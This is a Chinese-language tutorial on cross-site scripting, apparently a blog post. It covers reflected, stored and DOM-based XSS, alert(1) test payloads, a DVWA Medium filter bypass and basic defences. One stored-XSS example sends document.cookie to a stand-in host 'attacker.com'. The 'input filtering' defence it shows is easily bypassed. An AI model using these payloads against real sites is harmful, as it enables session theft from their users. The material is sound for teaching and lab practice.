XSS第1篇:XSS原理与基本类型
什么是XSS?
XSS(Cross-Site Scripting) 跨站脚本攻击,是一种代码注入攻击。攻击者在网页中注入恶意JavaScript代码,当用户浏览该网页时,恶意代码会在用户浏览器中执行。
危害:
- 窃取用户Cookie/Session
- 钓鱼攻击
- 键盘记录
- 篡改网页内容
- 传播蠕虫病毒
XSS原理
反射型XSS示例
<!-- 搜索功能:search.php?q=关键词 -->
<p>搜索结果:关键词</p>
<!-- 攻击者输入:<script>alert(1)</script> -->
<!-- 页面变成: -->
<p>搜索结果:<script>alert(1)</script></p>
<!-- 用户访问时,恶意脚本执行 -->
存储型XSS示例
// 留言板:攻击者提交恶意脚本
// 留言内容:<script>fetch('http://attacker.com?cookie='+document.cookie)</script>
// 其他用户访问留言板时,脚本自动执行
XSS三种基本类型
1. 反射型XSS(Reflected XSS)
特点:
- 恶意代码不存储在服务器端
- 需要诱导用户点击恶意链接
- 一次性攻击
常见位置:
- 搜索框
- URL参数
- 表单提交
示例:
http://example.com/search?q=<script>alert(1)</script>
2. 存储型XSS(Stored XSS)
特点:
- 恶意代码存储在服务器端
- 长期危害所有访问者
- 危害最大
常见位置:
- 评论区
- 留言板
- 用户资料
攻击流程:
- 攻击者提交恶意脚本 → 存储到数据库
- 其他用户访问页面 → 加载恶意脚本
- 恶意脚本执行 → 窃取Cookie/执行操作
3. DOM型XSS(DOM-based XSS)
特点:
- 完全在客户端执行
- 不经过服务器端
- 基于DOM操作
示例代码:
// 页面中的JavaScript
var pos = URL.indexOf("msg=");
var msg = decodeURIComponent(URL.substr(pos + 4));
document.write(msg);
// 攻击输入:msg=<img src=x onerror=alert(1)>
如何发现XSS漏洞?
1. 手动测试
测试payload:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
测试步骤:
- 找到所有输入点(参数、表单、URL)
- 插入测试payload
- 检查是否被执行
2. 常用标签
| 标签 | Payload示例 |
|---|---|
<script> |
<script>alert(1)</script> |
<img> |
<img src=x onerror=alert(1)> |
<svg> |
<svg onload=alert(1)> |
<body> |
<body onload=alert(1)> |
<iframe> |
<iframe src=javascript:alert(1)> |
3. 事件属性
| 事件 | 说明 |
|---|---|
| onload | 加载完成 |
| onerror | 加载错误 |
| onmouseover | 鼠标悬停 |
| onfocus | 获取焦点 |
实战:DVWA Medium级别
题目代码
// Medium级别
$_GET['name'] = str_replace('<script>', '', $_GET['name']);
?>
<input name="name" value="<?php echo $_GET['name']; ?>">
绕过方法
由于过滤了<script>标签,可以使用其他标签:
方法1:img标签
<img src=x onerror=alert(1)>
方法2:body标签
<body onload=alert(1)>
方法3:svg标签
<svg onload=alert(1)>
防御方法(预习)
1. 输入过滤
$name = preg_replace("/<script>/i", "", $name);
$name = preg_replace("/<img/i", "", $name);
2. 输出编码
htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
3. 内容安全策略(CSP)
Content-Security-Policy: script-src 'self'
浙公网安备 33010602011771号